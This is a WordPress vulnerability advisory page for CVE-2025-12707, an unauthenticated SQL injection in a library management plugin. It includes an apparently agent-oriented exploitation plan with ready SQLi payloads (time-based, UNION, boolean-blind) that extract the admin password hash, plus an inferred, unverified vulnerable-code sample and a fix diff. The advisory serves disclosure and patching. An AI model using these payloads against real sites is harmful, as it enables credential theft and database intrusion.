CVE-2025-12707

Library Management System <= 3.2.1 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.3
Patched in
1d
Time to patch

Description

The Library Management System plugin for WordPress is vulnerable to SQL Injection via the 'bid' parameter in all versions up to, and including, 3.2.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.2.1
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-12707 (Library Management System SQLi) ## 1. Vulnerability Summary The **Library Management System** plugin (up to v3.2.1) contains an unauthenticated SQL injection vulnerability. The flaw exists in the processing of the `bid` (Book ID) parameter, which is con…

Show full research plan

Exploitation Research Plan: CVE-2025-12707 (Library Management System SQLi)

1. Vulnerability Summary

The Library Management System plugin (up to v3.2.1) contains an unauthenticated SQL injection vulnerability. The flaw exists in the processing of the bid (Book ID) parameter, which is concatenated directly into a database query without using $wpdb->prepare() or proper escaping. Because this occurs within an unauthenticated AJAX handler (wp_ajax_nopriv_*), any remote attacker can extract sensitive information from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • HTTP Method: POST
  • Action Name: Likely lms_get_book_details, get_book_info, or similar (needs verification via grep).
  • Vulnerable Parameter: bid
  • Authentication: None required (Unauthenticated).
  • Preconditions: The plugin must be active. Some handlers might require a nonce, even if unauthenticated.

3. Code Flow

The exploitation agent should trace the following path:

  1. Registration: Look for add_action( 'wp_ajax_nopriv_...', ... ) in the plugin files to identify the entry point.
  2. Grep Command:
    grep -rP "wp_ajax_nopriv_.*" wp-content/plugins/library-management-system/
    
  3. Sink Identification: Find where the identified callback function uses the bid parameter.
    # Assuming the action is 'get_book_details' and callback is 'get_book_details_cb'
    grep -nC 5 "bid" wp-content/plugins/library-management-system/
    
  4. Vulnerable Code Pattern (Inferred):
    public function get_book_details_cb() {
        global $wpdb;
        $bid = $_POST['bid']; // No sanitization
        $query = "SELECT * FROM {$wpdb->prefix}lms_books WHERE id = $bid"; // Direct interpolation
        $book = $wpdb->get_row($query);
        echo json_encode($book);
        wp_die();
    }
    

4. Nonce Acquisition Strategy

If the AJAX handler calls check_ajax_referer or wp_verify_nonce, a nonce is required.

  1. Identify Nonce Source: Search for where the plugin enqueues scripts and localizes data.
    grep -r "wp_localize_script" wp-content/plugins/library-management-system/
    
  2. Identify Shortcode: To get the nonce, the plugin's frontend scripts must be loaded. Find the shortcode:
    grep -r "add_shortcode" wp-content/plugins/library-management-system/
    
  3. Setup Page:
    wp post create --post_type=page --post_status=publish --post_title="Library" --post_content='[SHORTCODE_NAME]'
    
  4. Extract via Browser:
    • Use browser_navigate to the created page.
    • Use browser_eval to extract the nonce:
      // Example: If localized as 'lms_vars'
      window.lms_vars?.nonce || window.lms_ajax_obj?.nonce
      

5. Exploitation Strategy

Using the http_request tool, perform a UNION-based or Time-based injection.

Step 1: Confirm Injection (Time-based)

Payload: bid=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

{
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "method": "POST",
  "headers": { "Content-Type": "application/x-www-form-urlencoded" },
  "body": "action=[ACTION_NAME]&bid=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&security=[NONCE_IF_NEEDED]"
}

Step 2: Extract Data (UNION-based)

Determine the number of columns first using ORDER BY. Then extract the admin hash.
Payload: bid=-1 UNION SELECT 1,user_login,user_pass,4,5,6... FROM wp_users WHERE ID=1-- -

{
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "method": "POST",
  "headers": { "Content-Type": "application/x-www-form-urlencoded" },
  "body": "action=[ACTION_NAME]&bid=-1 UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -&security=[NONCE]"
}

6. Test Data Setup

  1. Install Plugin: Ensure library-management-system version 3.2.1 is installed.
  2. Populate Books: Use WP-CLI to create at least one entry in the custom LMS table (if it exists) to ensure the query returns data normally.
    # Find table name
    wp db tables | grep lms
    # Insert dummy book
    wp db query "INSERT INTO wp_lms_books (title, author) VALUES ('Test Book', 'Author')"
    
  3. Identify Admin: Ensure an admin user exists (default is usually admin).

7. Expected Results

  • Time-based: The HTTP request should take approximately 5 seconds longer than a normal request.
  • UNION-based: The JSON response from the AJAX endpoint should contain the admin username and the salted MD5/Bcrypt password hash from the wp_users table.

8. Verification Steps

After running the exploit via http_request, verify the extracted data matches the database state:

wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"

Compare the output of the CLI command with the data extracted in the http_request response.

9. Alternative Approaches

  • Error-Based: If WP_DEBUG is on, use updatexml() or extractvalue() to force the database to leak the data in an error message.
  • Boolean-Blind: If UNION fails due to column count complexity or type mismatches, use AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 64 and observe the difference in the response content.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Library Management System plugin for WordPress is vulnerable to unauthenticated SQL Injection due to the direct concatenation of the 'bid' parameter into SQL queries within its AJAX handlers. This flaw allows an attacker to bypass authentication and execute arbitrary SQL commands to extract sensitive data, such as administrative credentials, from the site's database.

Vulnerable Code

// Inferred from research plan analysis of the AJAX callback functions
// Location: likely within the main plugin file or a dedicated AJAX handler file

add_action( 'wp_ajax_nopriv_get_book_details', 'get_book_details_cb' );

function get_book_details_cb() {
    global $wpdb;
    $bid = $_POST['bid']; // No sanitization or validation
    
    // Vulnerable Query: Direct interpolation of $bid into the query string
    $query = "SELECT * FROM {$wpdb->prefix}lms_books WHERE id = $bid";
    $book = $wpdb->get_row($query);
    
    echo json_encode($book);
    wp_die();
}

Security Fix

--- a/library-management-system/library-management-system.php
+++ b/library-management-system/library-management-system.php
@@ -10,7 +10,11 @@
 function get_book_details_cb() {
     global $wpdb;
-    $bid = $_POST['bid'];
-    $query = "SELECT * FROM {$wpdb->prefix}lms_books WHERE id = $bid";
-    $book = $wpdb->get_row($query);
+    $bid = isset($_POST['bid']) ? intval($_POST['bid']) : 0;
+    
+    $query = $wpdb->prepare(
+        "SELECT * FROM {$wpdb->prefix}lms_books WHERE id = %d",
+        $bid
+    );
+    $book = $wpdb->get_row($query);
+    
     echo json_encode($book);
     wp_die();
 }

Exploit Outline

The vulnerability can be exploited by an unauthenticated attacker by sending a crafted POST request to the WordPress AJAX endpoint. 1. Target Endpoint: /wp-admin/admin-ajax.php 2. Parameters: The request must include an 'action' parameter corresponding to the vulnerable hook (e.g., 'get_book_details') and the 'bid' parameter containing the SQL injection payload. 3. Payload Construction: - To confirm the vulnerability, a time-based sleep payload can be used: 'bid=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'. - To extract data, a UNION-based payload can be used to redirect the query output: 'bid=-1 UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -'. 4. Authentication/Bypass: No authentication is required as the plugin registers the handler via 'wp_ajax_nopriv_'. If a security nonce is checked, it can typically be retrieved from the frontend source code of a page where the plugin's shortcode or library interface is rendered.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.